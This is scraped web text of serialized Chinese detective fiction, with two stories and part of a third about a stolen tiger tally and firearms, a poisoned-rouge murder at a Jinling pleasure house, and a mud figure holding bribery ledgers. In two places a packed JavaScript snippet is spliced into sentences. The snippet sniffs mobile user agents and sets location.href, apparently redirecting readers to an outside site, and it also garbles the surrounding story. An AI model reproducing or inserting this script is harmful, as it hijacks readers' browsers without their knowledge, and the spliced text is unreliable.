库大使呈上账簿:“三日前,右军统领赵镇恶亲领乌嘴铳十杆,火药五十斤,说是演练用。” “十杆铳,五十斤药…”岳擎苍翻账,“他一人来领的?” “带了两个亲兵,都着右军号衣。但…”库大使犹豫,“但那俩亲兵,面生得很。小人掌库七年,右军百夫长以上皆认得,那二人却…” “却怎样?” “却不像行伍之人。”库大使压低声音,“其中一个,递条子时露了手腕——腕子白净,无茧无疤,倒像书生。” 书生混入军营?岳擎苍合上账簿:“那十杆铳,可有编号?” “有!乌嘴铳是兵部新拨,每杆铳管底部皆刻‘天启戊辰’并序号。”库大使取来册子,“领走的是第七十一至八十号。” “验库。” 军械库分三层,火铳存于二层铁柜。开柜清点,八十杆乌嘴铳整齐排列,可岳擎苍逐杆查验,发现第七十五号铳的铳管底部——编号“七十五”的“五”字,刻痕略浅,且“天启戊辰”的“戊”字,缺了一撇。 “这杆是仿造的。”他举起铳,对着窗光看铳膛,“真铳膛线是螺旋十二槽,这杆…只有八槽,且深浅不均。” 王猛倒吸凉气:“有人以假铳换走真铳!可他们要火铳作甚?十杆铳,攻不了城,也破不了营…” “未必是攻城。”岳擎苍放下假铳,“或许,只是想制造‘军中有人私贩火器’的假象。” 他踱至库房西墙。墙上挂着幅《镇北防区全图》,狼山峪、断肠涧、鹰嘴岩皆在其上。但若以这三处为点,连成线… “这是条路。”岳擎苍以指划图,“从鹰嘴岩坠‘尸’,引我军搜寻;在断肠涧留假尸,拖延时辰;而真凶带着虎符与火铳,沿此路…”他指尖停在地图东北角,“进了黑松林。” 黑松林再往北三十里,便是北狄地界。 王猛骇然:“将军是说,赵镇恶私通北狄,盗虎符、火铳投敌?” “若真如此,他何需大费周章,又是假死又是换铳?”岳擎苍摇头,“直接携符带铳出关,岂不干净?” 他猛地想起一事:“赵镇恶的亲兵里,可有个叫‘陈秀才’的?” “有!”王猛道,“是个军中文书,因识字被赵统领留在帐中。但此人三日前告假归乡,说是老母病重…” “归乡?”岳擎苍冷笑,“他家乡在沧州,在北;黑松林,也在北。传令:点二百轻骑,随我入黑松林!” 三、 黑松暗营 黑松林古木参天,落叶积了尺厚。岳擎苍令骑队散开成扇形,悄声推进。行至林中空地,王猛忽举手示警——前方三十步,有座废弃的猎人木屋。 木屋门虚掩,窗纸尽破。岳擎苍贴墙静听,屋内传来压抑咳嗽,是个男子声音。他打个手势,亲兵破门而入。 屋中无人,唯地灶余烬尚温。灶旁草铺上,躺着个人,着百姓布衣,面色蜡黄,正是赵镇恶!他左胸缠着麻布,渗出血迹,但气息尚存。 “赵统领!”王猛急上前扶。 赵镇恶睁眼,见是岳擎苍,挣扎欲起:“将、将军…虎符…在陈…” “陈秀才?”岳擎苍按住他。 “是…是他。”赵镇恶喘息,“三日前,他说在狼山发现北狄探子踪迹,诱我前往…在鹰嘴岩,他的人突然发难,夺我虎符。我中箭坠岩,幸被松枝所挂,夜里爬进这猎屋…” “火铳呢?” “被他们带走了。十杆真铳,五十斤药…”赵镇恶惨笑,“他们要在…要在‘那地方’用…” 话音未落,屋外传来唿哨。岳擎苍疾步出屋,见林间人影幢幢,约二十余人,皆着黑衣,手持乌嘴铳,呈半圆围拢。为首者是个瘦高书生,正是陈秀才。 “岳将军,久仰。”陈秀才拱手,笑容温和,“赵统领所言不尽不实——非我诱他,实是他与我等同谋,欲以火铳、虎符,与北狄换一场富贵。只是分赃不均,内讧受伤罢了。” “胡说!”赵镇恶在屋内嘶吼。 陈秀才自怀中取出半片虎符,在掌中掂了掂:“虎符在此,将军可要查验?” 岳擎苍盯着他手中虎符。铜铸虎形,在秋阳下泛着暗金——确是右符。但他细看虎符边缘,见接口处有细微锉痕,心中了然。 “这符是假的。”他忽然道。 陈秀才笑容一僵。 “真虎符的虎尾,第三道斑纹是断的。因当年铸符时,工匠失手磕了模子。”岳擎苍自怀中取出左符,高举示众,“你看,左符此处也有断纹。可你手中那符,虎尾斑纹完整——是仿造的。” 黑衣人中起了一阵骚动。陈秀才脸色变幻,忽然大笑:“岳将军好眼力!可纵然符假,这十杆乌嘴铳却是真的!”他挥手,“放!” “轰——” 铳声炸响,却是从黑衣人身后的树冠传来!三名黑衣人应声倒地,余者大乱。只见四周树梢、岩后,冒出无数镇北军弓弩手,箭矢如蝗。 “你以为,我只带二百骑?”岳擎苍拔剑,“这黑松林,早被我军围了!” 混战顿起。陈秀才见势不妙,率残部往林深处逃。岳擎苍亲追,在一条溪涧边截住他。两人交手十余合,陈秀才武功稀松,被一剑刺穿右腿,擒下。 “说,真虎符何在?真火铳何在?”岳擎苍踩住他伤处。 陈秀才惨笑:“在…在狼山峪的‘将军墓’里…” “将军墓?”岳擎苍一怔。那是前朝一位将军的衣冠冢,早成废墟,无人祭祀。 “赵镇恶与北狄约定,今夜子时,在将军墓以虎符、火铳换千金。”陈秀才呕出口血,“至于我…我只是个账房,被他们逼着做假账、仿假符…” 岳擎苍命人绑了他,疾回木屋。可屋中空空,赵镇恶与王猛皆不见了踪影,只草铺上以血写着四字: “墓有伏,勿来。” 四、 将军墓局 子时,狼山峪将军墓。 说是墓,实为半座坍塌的石祠,碑倒椽朽,唯祠前石马尚存。岳擎苍伏在百步外山石后,见祠中有火光晃动,人影三四个。 他留大部人马在外围,自带十名好手潜近。至祠前十丈,忽听祠内传来赵镇恶的声音:“…千金在此,符与铳呢?” 另一人答,是生硬汉话:“先验符。” 岳擎苍探头窥视。祠中五人:赵镇恶倚柱而立,左胸伤处又渗出血;王猛持刀护在他身前;对面三人皆着皮袍,戴毡帽,是北狄打扮。地上敞开两口木箱,一箱金锭,一箱银锭,在火光下刺眼。 狄人首领接过赵镇恶递上的虎符,就火细看,点头:“是真符。铳呢?” 赵镇恶指向祠角。那里堆着十个长布包,解开,正是乌嘴铳。狄人抽出一杆验看,忽冷笑:“赵统领,这铳膛…是堵死的。” “什么?”赵镇恶变色。 “铳口灌了铅,火门塞了泥。这十杆铳,是废铁!”狄人摔铳于地,“你敢耍弄我等?” 赵镇恶愕然看向王猛。王猛却忽然退开三步,刀尖转向他:“统领,对不住。铳是我换的。” “你…”赵镇恶恍然,“是你!是你与陈秀才合谋…” “不错。”王猛微笑,“陈秀才是账房,我是执行。本计划天衣无缝,可惜岳将军来得太快。”他转向狄人,“虎符是真,金子留下。至于赵镇恶,随你们处置。” 狄人首领却摇头:“我们要的,不止虎符。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088161|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍手,祠外又涌入十余名狄人,持刀弯弓,“还要镇北军的布防图——听说,就在岳将军身上。” 暗处,岳擎苍心中一震。布防图是他随身携带,缝在甲内衬里,此事唯王猛知晓。原来这局,最终目标是他! “岳将军,出来吧。”王猛扬声道,“我知道你在。” 岳擎苍缓缓起身,走入祠中火光范围。他盯着王猛:“你跟了我八年。” “是八年又三个月。”王猛笑容渐冷,“可将军记得吗?三年前我弟弟王勇,因贻误军机被你斩首。他不过迟到了一刻钟!” “那一刻钟,让左军三十名兄弟被围,全部战死。”岳擎苍一字一句,“军法如山。” “好个军法如山!”王猛嘶吼,“那今日,我也让你尝尝,被兄弟背叛的滋味!” 他挥刀扑来。岳擎苍拔剑相迎,两人在狭小石祠中激斗。刀剑相交,火星四溅。斗到二十合,岳擎苍卖个破绽,诱王猛直刺,侧身闪过,反手一剑刺入他肋下。 王猛踉跄倒地,狄人一拥而上。岳擎苍独战十余人,渐感不支。危急时,祠外杀声大作——镇北军伏兵尽出,与狄人战作一团。 混战中,赵镇恶忽然扑向那箱金子,竟从箱底抽出一杆完好的乌嘴铳!他填药装弹,对准狄人首领—— “轰!” 铳响人倒。狄人首领胸腹开花,余者胆寒,纷纷逃窜。岳擎苍趁机杀散残敌,再看赵镇恶,他倚箱而坐,手中铳管发烫,而左胸伤处血如泉涌。 “将军…”他惨笑,“那九杆铳确被我灌了铅,唯这杆…留着防身。我赵镇恶再糊涂,也不敢真通敌…只是被他们拿住把柄,不得不虚与委蛇…” “什么把柄?” 赵镇恶闭目:“三年前那场败仗…不是天灾,是我…我收了商人银子,买的军粮掺了沙。王勇延误军机,实是因为拉粮的车轴断了——粮袋太重,车受不住…” 岳擎苍如遭雷击。三年前朔风原之战,因军粮不足,士卒无力,导致大败。他一直以为是天灾,竟是…… “王猛知晓此事,以此要挟。我不得已,与他合谋盗符换铳,本想假意投敌,趁机刺杀狄人首领,将功折罪…”赵镇恶声音渐弱,“可如今…如今…” 他头一歪,气绝身亡。手中,仍紧握着那杆救命的火铳。 尾声虎符重铸 三日后,镇北军大祭。 校场前立了两座新坟:一碑“右军统领赵镇恶”,一碑“中军司马王猛”。岳擎苍亲奠三杯酒,一杯敬赵镇恶临阵反正,一杯叹王猛兄弟冤仇,一杯洒地,祭三年前朔风原战死的三千英灵。 祭毕,他当众熔了那对虎符——真的假的,一并投入炉中。铜汁沸腾时,他朗声道: “自今日起,镇北军不用虎符。调兵之权,不在符,在人;不在铜,在心。诸君共鉴:再有通敌、贪渎、残害同袍者——” 他拔剑,一剑斩断旗杆:“犹如此杆!” 全军肃然。春雪忽至,纷纷扬扬,覆盖了坟头新土,也覆盖了校场旧痕。 岳擎苍独坐帐中,取出那幅染血的布防图,就灯焚毁。灰烬飘散时,他轻声道: “镇恶,你说得对…有些罪,功抵不了;有些错,死赎不尽。但你能最后守住底线,没让火铳出关,没让布防图落敌手…这杯酒,你配喝。” 帐外风雪呼啸。他忽然想起少年时读《史记》,李广说“军中但闻将军令,不闻天子诏”。如今方知,将军令不是权,是责;不是符,是担。 这担子,他还要扛下去。 直到下一个赵镇恶,下一个王猛,在某个雪夜,做出属于他们的选择。 本章惕世 一、 军械双簧之诈 - 以假乱真:假虎符、假火铳、假尸首混淆视听 - 破解法:凡重要信物,必记暗记;凡军械出入,必核编号 - 示例:虎尾断纹、铳膛线数、尸身旧伤 二、 连环反间之诈 - 赵镇恶被迫为奸,王猛为复仇布局,陈秀才趁火打劫 - 破解法:凡见“多人合谋”,必有一人是被迫;凡称“血仇”,必查真相 - 示例:王勇贻误军机实因粮车超载,粮掺沙才是祸根 三、 底线守关之鉴 - 赵镇恶贪渎致败,但未通敌;王猛为弟报仇,但未害无辜 - 惕世:人皆有罪,罪有大小;人皆可恕,恕有底线 - 示例:赵临死用真铳杀敌,王未泄露布防图 军规补遗: 《镇北军律》“凡私动军械者,斩;凡通敌者,族;凡贪渎致败者,主犯斩,从犯充边。”然律是死的,人是活的。 后世诫: 虎符可熔,人心难铸。 军粮掺沙,三年方现。 兄弟阋墙,八载始发。 莫道军营铁板地,雪下尽是旧伤疤。 正是: 狼山秋深戟甲寒,虎符夜失乱峰峦。 假尸涧底留左癖,真铳林间验尾斑。 三载掺沙终现罪,八年怀刃始知奸。 雪覆新坟旧血在,将军独坐烬图看。 10. 琴剑烟花谳 楔子金牡丹宴 金陵城西燕子矶,有座“十二楼”。名虽为楼,实是三十六个院子勾连成的迷窟。每年上巳节,楼里要办“金牡丹宴”——不是赏花,是选花魁。 今年宴却邪性。酉时开宴,戌时三刻,东院“流霞阁”走了水。火倒不大,只烧了半间琴房,可琴房里溺死了个人。 死者是流霞阁的琵琶女,叫云遮月。人泡在焦黑的琴桌边,手里攥着半片烧残的笺,笺上就两字: “知了” 一、 焦琴余音 十二楼主事花想容,是个四十许的妇人。年轻时做过花魁,如今掌着这迷窟,眉眼还留着七分艳,三分狠。她引着金陵府刑房书吏沈墨进流霞阁时,阁里水还没排净。 “沈先生请看。”花想容指那焦尸,“遮月这孩子,戌时该在宴上弹《春江花月夜》的。可开宴前她说头疼,回房歇着。谁知…” 沈墨蹲身验尸。云遮月十八九岁,着杏子红缕金裙,发髻散乱,但妆容完好。口鼻有蕈样泡沫,是生前溺毙。可怪的是——她鬓边那支点翠蝴蝶簪,翅子断了一边。 “簪子断口新鲜。”沈墨举簪就窗光看,“是硬物撞击折断。但房中并无打斗痕迹。” 他环顾琴房。房不大,一琴一桌一榻。琴是焦尾桐木,已烧成炭;桌是紫檀,桌面有圈水渍,渍中浮着层油花;榻上被褥整齐,唯枕下压着本《乐府新声》,书页间夹着张当票。 当的是支玉搔头,当期三月,当银五十两。当铺印章:“宝通典”。 “遮月缺钱?”沈墨问。 花想容苦笑:“做我们这行,谁不缺钱?胭脂水粉、头面衣裳,月月都要添新的。不过…”她压低声音,“遮月这三月,花销格外大。光螺子黛就买了三盒,一盒十两。” “她接了阔客?” “接是接了,可怪就怪在——那客从不上门,只每月十五,差人送个锦盒来。盒里有时是首饰,有时是银票,每次都不下百两。”花想容从袖中取出个空锦盒,“这是上月送的,老身偷偷看过,里头是二百两的庄票。” 沈墨接过锦盒。杏黄杭缎,盒底绣着个“瑾”字。绣工极精,用的是苏绣双面绣技法,正面看是“瑾”,反面看是“谨”。 “这客人,你可有猜测?” 花想容犹豫片刻,以指蘸茶水,在焦桌上写了个字:“盐”。 金陵盐商,富可敌国。可盐商为何要偷偷供养一个琵琶女?还用的是暗含“谨”字的暗号? 沈墨正思量,窗外忽然飘进阵琴声。调子是《猗兰操》,但弹得滞涩,弦中带杀伐之音。他推窗望,见对面西院“撷芳楼”的露台上,坐着个白衣女子,正垂首抚琴。 “那是撷芳楼的花魁,秦惊鸿。”花想容道,“与遮月…不太对付。” “因何?” “去年金牡丹宴,本该是惊鸿夺魁。可遮月临场弹了曲自度的《燕子辞》,满座皆惊,硬生生抢了花魁。”花想容叹道,“惊鸿那孩子心高,这半年再没碰过琴。今日倒奇了…” 琴声忽断。秦惊鸿起身,白衣在夜风中飘荡如鬼。她朝流霞阁望了一眼,那眼神——沈墨在刑房二十年,从未见过这般冷的眼。 不是恨,是死寂。 二、 锦盒连环 次日,沈墨访宝通典当铺。掌柜是个独眼老头,听问玉搔头,从账本里翻出记录: “三月十二,一女子持玉搔头来当。那玉是和田籽料,雕作并蒂莲,市价少说三百两。她急当,只要五十两,当期三月。老朽多嘴问句为何急用,她说…要赎身。” “赎身价多少?” “十二楼的规矩,一等姑娘赎身五百两,二等三百。遮月姑娘是一等,但若有人愿出千两,主家也会放。”独眼掌柜凑近,“说来也怪,自她当玉后,每月十五都有个戴帷帽的女人来,不是赎当,是续当——每次添二十两利息,让再续三月。昨儿刚来过。” “昨日?”沈墨一惊,“昨日何时?” “申时三刻。那女人穿青缎斗篷,帷帽垂到胸口,看不清脸。但老朽注意到…”掌柜压低声音,“她递银票时,袖口露出手腕,腕上有道旧疤,形如新月。” 新月疤。沈墨猛然想起昨日验尸,云遮月左腕也有道疤,位置形状皆同。是巧合,还是… 他匆匆回府衙,调出十二楼所有姑娘的验身册——这是金陵府为防命案特设的,凡青楼女子入院,需记录体貌特征。翻到秦惊鸿那页: “左腕有新月状烫疤,乃幼时被炭火所伤。” 沈墨合上册子。所以,昨日去当铺续当的,是秦惊鸿?她为何要替云遮月续当?二人不是死对头么? 正沉吟,衙役来报:十二楼又出事了。 三、 胭脂杀局 这回是撷芳楼。秦惊鸿的贴身丫鬟小桃,被发现在后园井中。人还没死,但撞破了头,昏迷不醒。发现她的是厨娘,说看见个穿红裙的女人往后园跑,但夜色朦胧,没看清脸。 沈墨赶到时,秦惊鸿正在井边哭。她已换下白衣,着水绿襦裙,哭得梨花带雨:“小桃替我取胭脂,一去不回…若她有个三长两短,我也不活了!” “姑娘莫急。”沈墨察看井台,见青苔上有道拖痕,痕旁落着个胭脂盒。盒是掐丝珐琅的,盒底刻着“宝香斋”。打开,胭脂用了大半,但膏体表面有处凹陷——像是指甲抠过的痕迹。 “这胭脂,可是姑娘的?” 秦惊鸿点头:“是遮月…是云姐姐上月送我的。她说这颜色配我。” 沈墨心中一动。他将胭脂盒凑近鼻端,除却花香,还嗅到丝极淡的苦杏味。以银簪探入膏体,簪尖泛黑。 “砒霜。”他沉声道。 秦惊鸿骇然后退。沈墨却盯着她:“云遮月送你胭脂,你可用过?” “用、用过两次。但近日脸色不佳,便停了…” “幸好停了。”沈墨盖上盒子,“这砒霜分量,连用十日必死。送你胭脂的人,想要你的命。” “不可能!”秦惊鸿脱口而出,“云姐姐她…”她忽咬住唇。 “她如何?” 秦惊鸿低头良久,才轻声道:“三个月前,云姐姐来找我,说有人要逼她做件事。若不做,便要毁她容貌。她求我…求我帮她演场戏。” “什么戏?” “装作与她不合,在人前争锋。”秦惊鸿泪如雨下,“她说,唯有让那人以为她孤立无援,那人才会露出马脚。这胭脂…这胭脂也是戏的一部分。她说里头只是寻常朱砂,让我假装中毒,引出真凶…” 沈墨愕然。所以二人并非真敌,是在做局?那云遮月之死,是因为假戏真做,被灭口了? “逼她的是何人?” 秦惊鸿摇头:“她不肯说,只说那人权势滔天,捏着她天大的把柄。”她忽然想起什么,“但她给过我一个锦囊,说若她有不测,便让我打开…” “锦囊何在?” “在我枕中。” 众人急回撷芳楼。秦惊鸿从枕芯里摸出个杏黄锦囊,与那装庄票的锦盒一模一样!囊中无信,只有把黄铜钥匙,匙柄刻着“甲字七号”。 这是典当行储物柜的钥匙。 四、 典当死信 再访宝通典,以匙开甲字七号柜。柜中无金银,只有一摞信,并一幅画卷。 信共十二封,每月一封,笔迹矫饰,但沈墨一眼认出——这是左手书,故意写歪斜。内容皆是胁迫: “三月初五:已为你备好‘知了’毒,混入目标胭脂。事成,赎身银加倍。” “四月初二:目标已用胭脂三次,面色渐青。续用十日,可使其慢性毙亡,状若痨病。” “五月初一:金牡丹宴当日,汝需在流霞阁等候。得手后,自有人接应出城。” 最后一封是昨日所写:“戌时三刻,流霞阁。若不来,幼弟性命不保。” 每封信尾,都画着只知了。 画卷展开,是幅《仕女调琴图》。画中女子着杏红裙,正在调焦尾琴,面容与云遮月七分相似。但细看,女子身后屏风上,以淡墨勾着个模糊人影——戴帷帽,身形似女子,左手执卷,卷上隐约可见“盐法”二字。 “盐法…”沈墨猛然想起花想容写的那个“盐”字。 他急回府衙,调阅近年盐案卷宗。翻至三个月前一桩:两淮盐运使周延礼被参贪污,家产抄没,但其幼子周瑾下落不明。卷中附周瑾画像,是个十七八岁少年,眉眼… 竟与云遮月有五分相似! “云遮月是周瑾的姐姐。”沈墨恍然,“盐案爆发,周家败落,她沦落风尘。有人捏着她幼弟,逼她毒杀秦惊鸿。但她不愿害人,便与秦惊鸿合谋做局,想引出真凶。可对方识破,昨日将她灭口…” “可为何要杀秦惊鸿?”衙役不解。 沈墨重看那些信。“目标”二字,始终未提秦惊鸿之名。或许,真凶要杀的本就不是秦惊鸿,而是另一个用这胭脂的人。 他猛然想起昨日金牡丹宴,谁会与秦惊鸿用同款胭脂? “宴上女客,都用何胭脂?” 衙役答道:“十二楼的规矩,宴上姑娘皆用主家统一定的‘醉芙蓉’。但今年,花想容说醉芙蓉断货,让姑娘们自带胭脂。” 自带胭脂。所以,只有秦惊鸿用了云遮月送的这盒。若真凶本要杀的是别人,却误让秦惊鸿用了… “查!昨日宴上,还有谁用宝香斋的胭脂?” 一个时辰后,名单来了。用宝香斋胭脂的,只有三人:秦惊鸿、花想容、以及…金陵府尹新纳的宠妾,柳盈盈。 柳盈盈昨日也在宴上,坐主桌。 五、 屏风人影 府尹宠妾,怎会成刺杀目标?沈墨不敢妄动,只暗中查访柳盈盈来历。这一查,查出桩旧事: 三年前,两淮盐运使周延礼被参前,曾密呈账本,揭发盐商勾结官府,私贩官盐。账本直指金陵府尹。不久周家被抄,账本失踪。而柳盈盈,正是三年前入的府尹府,此前来历不明。 沈墨夜访撷芳楼,将所知尽告秦惊鸿。秦惊鸿听罢,沉默良久,忽然道:“沈先生可记得,那幅画屏风上的人影?” “记得,左手执卷,卷有‘盐法’二字。” “那是我添的。”秦惊鸿轻声道,“三个月前,云姐姐让我临摹那画,说若她有不测,便在屏风上添个左手执卷的人。我问为何,她说…那人是左撇子。” 左撇子。沈墨想起那些左手书的信。 “她还说,那人右手腕应有道疤,是幼时被琴弦割伤所致。”秦惊鸿抬眼,“昨日宴上,我留意了所有女客手腕。有疤的只有一个——” “谁?” “花想容。” 沈墨怔住。那个掌着十二楼,看似为云遮月之死痛心的主事? “但她右手无疤。”秦惊鸿补充,“她是左手有疤。” 左手有疤的左手撇子。所以屏风人影是左手执卷。所以信是左手书写。 一切豁然开朗。 “可动机呢?”沈墨不解,“花想容为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088162|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要杀柳盈盈?又为何捏着周瑾要挟云遮月?” 秦惊鸿从妆台下取出本泛黄册子:“这是云姐姐留下的。她说,若她死,让我将此物交予可信之人。” 册子是花想容的私账。记录的不是皮肉生意,是盐——私盐。原来十二楼不仅是青楼,还是私盐转运的暗桩。而柳盈盈,三年前曾是花想容手下的姑娘,后被府尹赎身。她知晓太多秘密,花想容要灭口。 至于周瑾,他被花想容藏匿,用作控制云遮月的棋子。云遮月为保弟弟,不得不从,但又良心未泯,便与秦惊鸿设局,想借“胭脂案”揭开花想容。可惜,被识破灭口。 “昨日那场火…”沈墨喃喃。 “是花想容放的。”秦惊鸿泪下,“云姐姐戌时在琴房等她,想以账本换弟弟。可花想容直接下了毒手,还伪造溺毙,放火毁迹。那‘知了’字条,是云姐姐临死前留的暗号——知了知了,蝉蜕逃生。她是想告诉我们,真凶是‘蝉’…” 蝉。花想容的花名,正是“玉蝉”。 六、 金蝉脱壳 沈墨急调衙役围十二楼。可赶到时,东院已空。花想容的房中,妆台上有封信: “沈先生台鉴:妾本盐枭之女,父死仇手,沦落风尘。二十年经营,不过为雪家仇。柳氏背主,周女叛我,皆该杀。今事泄,妾自当离去。周瑾在城西土地庙,无恙。至于那本账册——在府尹书房左第三格《论语》夹层中。先生欲清盐政,可自取。玉蝉拜别。” 衙役搜城西土地庙,果然找到个少年,正是周瑾。他怀中抱着个布包,内装盐商与官员往来密信,涉及金陵半城权贵。 而府尹书房,《论语》夹层中,账册赫然在目。 三日后,金陵府尹被革职查办,十二楼查封。但花想容如蒸发般,再无踪迹。 沈墨站在流霞阁废墟前,秦惊鸿抱着焦尾琴残骸走来。 “这琴,是云姐姐最珍爱的。”她轻抚焦木,“她说,琴有九德,人亦该有九品。她一生未做到,但最后…守住了‘信’字。” “何信?” “不害无辜之信,不叛知己之信。”秦惊鸿望向远方,“她本可用那胭脂毒我,向花想容交差。可她选了条死路。” 沈墨沉默。许久,道:“秦姑娘今后有何打算?” “赎身,离开金陵。”秦惊鸿微微一笑,“用云姐姐当玉搔头的五十两,加上我这年的积蓄,够了。去江南,开间绣庄,教女孩子针黹——总比弹琴卖笑干净。” 她俯身,将焦尾琴残骸埋入土中,立了块无字碑。 “不刻名?” “名字会忘,曲子会忘,恩仇也会忘。”秦惊鸿起身,白衣在晚风中飘荡,“但有人曾在这泥淖里,干净地活过、死过——这件事,该让后来人知道。” 她转身离去,再不回头。 沈墨独立废墟,忽闻蝉鸣乍起,嘶哑凄厉,如泣如诉。 知了知了,究竟知了什么? 或许,那只金蝉早脱壳而去,留下的,不过是具空壳,和满城盛夏的、喧嚣的、无用的蝉噪。 尾声胭脂新色 三个月后,沈墨路过新桥市,见一绣庄开张,名“知了绣苑”。店主是个白衣女子,正教几个女孩分丝线。她抬头,与沈墨对视片刻,颔首一笑。 柜上摆着盒新胭脂,标签手书:“惊鸿色”。 沈墨买下一盒。归家后,他夫人试用,赞不绝口:“这颜色真好,不似寻常胭脂艳俗,倒像…像晚霞将尽时,天边那抹最后的亮色。” 他望向窗外。夕阳正沉,十二楼的废墟上,野草已长到齐腰高。 而在更远的江南,某个水乡小镇,或许正有个戴帷帽的妇人,对着铜镜,轻轻抹上一抹“醉芙蓉”。 胭脂会褪色,秘密会腐朽,蝉会死去。 但总有一些颜色,不肯褪去。 总有一些人,不肯忘记。 本章鉴世 一、 胭脂□□之诈 - 以日常用品为毒器,利用赠与关系掩盖杀机 - 破解法:凡收赠品,须察赠者神情;凡用新品,先验质地气味 - 示例:胭脂苦杏味、膏体指甲痕、银簪验毒 二、 假敌真友之局 - 云遮月与秦惊鸿明争暗合,以假不合掩护真同盟 - 破解法:凡见“死对头”,察其私下有无交集;凡称“深仇”,验其有无实质伤害 - 示例:当铺续当、锦囊托付、胭脂预警 三、 金蝉脱壳之计 - 花想容以青楼为私盐掩护,事败即弃二十年基业 - 惕世:越是庞大产业,越可能藏惊天秘密;越是长袖善舞,越可能随时抽身 - 示例:十二楼三十六院实为走私网,账册藏于《论语》 风月诫: 胭脂可饰面,难饰心;琴弦可调音,难调命。 金蝉脱壳时,方知多年繁华皆虚壳;焦尾埋土后,始信一缕清音是永恒。 后世叹: 十二楼台夜夜歌,谁知弦外阴谋多。 胭脂□□惊鸿色,锦盒连环玉蝉窠。 焦尾琴埋无字碑,私盐账现满城疴。 江南忽报新绣苑,知了声中旧恨磨。 正是: 金牡丹宴起腥风,焦尾琴焚烈焰中。 胭脂盒藏砒霜白,锦囊钥现典当空。 假作仇雠双璧泪,真为姐弟一线穷。 蝉蜕空壳余残响,知了声声夏已终。 11. 天街市骨谳 楔子雨夜泥偶 汴京东郊天街的清晨,是从挑粪工的吆喝开始的。腊月廿三,年关将近,南城的炭行、北城的米市、西城的绸庄都已挂出红灯笼。可天街尽头那片泥潭——百姓叫“烂泥塘”的地方,却浮出件怪东西。 是个泥偶。人形,三尺高,四肢俱全,面朝下漂在墨绿的积水上。最先发现的菜贩以为浮尸,报了坊正。坊正带人捞起,却发现是泥塑的,只是这泥偶怀里,紧紧抱着一卷账册。 账册浸透了泥水,但内页的朱批还能辨认: “宣和六年,炭敬银三万两,收讫。” “宣和七年,冰敬银五万两,收讫。” “宣和八年,干折银八万两,收讫…” 每笔下头,都签着个花押——“石敢当”。 一、 泥偶胎记 汴京府刑曹参军陆文秀赶到时,泥偶已被拾到土地庙前。这陆参军年过四旬,圆脸细眼,总像没睡醒,可手指在泥偶后颈一抹,忽然说了句:“是活泥。” “何为活泥?”年轻的书办问。 “寻常泥塑,用河泥拌稻草,塑成后阴干。可这泥…”陆文秀捻着指尖的泥屑,“掺了糯米浆、鸡血、还有朱砂。是‘养尸泥’的配方。” 书办变色。养尸泥是道家封镇邪祟所用,怎会用来塑偶?更奇的是,陆文秀在泥偶左肩发现处凹陷——形如月牙,深半寸,像是塑泥时,故意按了什么东西进去。 “剖开。” 泥刀剖开左肩,泥中滚出枚铜钱。钱是“开元通宝”,但背面被人磨平,刻了四个小字: “城南义庄” “这是…标记?”书办拾起铜钱。 “是路引。”陆文秀起身,“去城南义庄。” 城南义庄在汴梁门外三里,原是前朝赈灾所建,如今荒废多年。守庄的是个驼背老卒,姓郭,年轻时在边军当过火头军。见官差来,他颤巍巍开门,院里整整齐齐摆着十七口薄棺。 “昨夜…昨夜子时,有人送了口新棺来。”老郭指向角落,“说是在天街捡的浮尸,让暂存三日,等家人来领。” “何人送棺?” “两个汉子,戴斗笠,看不清脸。但老朽闻到…”老郭抽抽鼻子,“闻到股炭火气,混着羊膻味——是天街炭行伙计的味道。” 陆文秀命人开棺。棺中果有尸首,男,四十许,着青色绸袍,面容浮肿,但可辨眉眼清秀。致命伤在咽喉——道极细的勒痕,深入喉骨。 “是弓弦。”陆文秀验看伤痕,“军中硬弓的弦,三股牛筋绞成,勒人时会在皮肉留下螺旋纹。”他翻看死者右手,虎口茧厚,“是长年打算盘的手。左手…” 他抬起死者左腕,见腕内侧有处旧疤,形如梅花。 “这疤…”书办惊道,“像是…火烙印?” “是‘逃奴印’。”陆文秀沉声道,“本朝初年,官奴逃亡被抓,会在左腕烙梅花印。但这印记二十年前已废,此人若是逃奴,该是陈年旧案。” 他命人搜查尸身。在死者内襟夹层,摸出片油纸,纸上以蝇头小楷抄着行地址: “天街瓦子巷第七户,石记炭行” 石记炭行。与账册花押“石敢当”的石姓,可有关系? 二、 炭行暗账 天街瓦子巷是条斜街,石板路被百年煤灰染成墨色。第七户门脸三间,黑底金字招牌“石记炭行”,但铺门紧闭,贴着府衙封条——是三日前,因“私贩石炭”被查封的。 陆文秀撬开封条。铺内空荡,只柜台后堆着几十本账册。他随手翻开一本,是寻常炭行出入账,但细看,每页页脚都标着古怪符号:○、△、□、☆。 “这是密账。”书办道,“以图形代指交易事项。○或是官炭,△是私炭,□是…” “是贿银。”陆文秀指着某页,页脚画□,旁注“腊月十五,付东城刘管事银二百两”。他连翻数本,发现□形出现最频,涉及银两从五十到五千不等,收款人涵盖汴京半数衙门。 正看着,后堂忽然传来“咚”的一声闷响。陆文秀疾步闯入,见后墙书架移开半尺,露出个黑洞。洞内有风涌上,带着陈腐的纸张气味。 是个地窖。 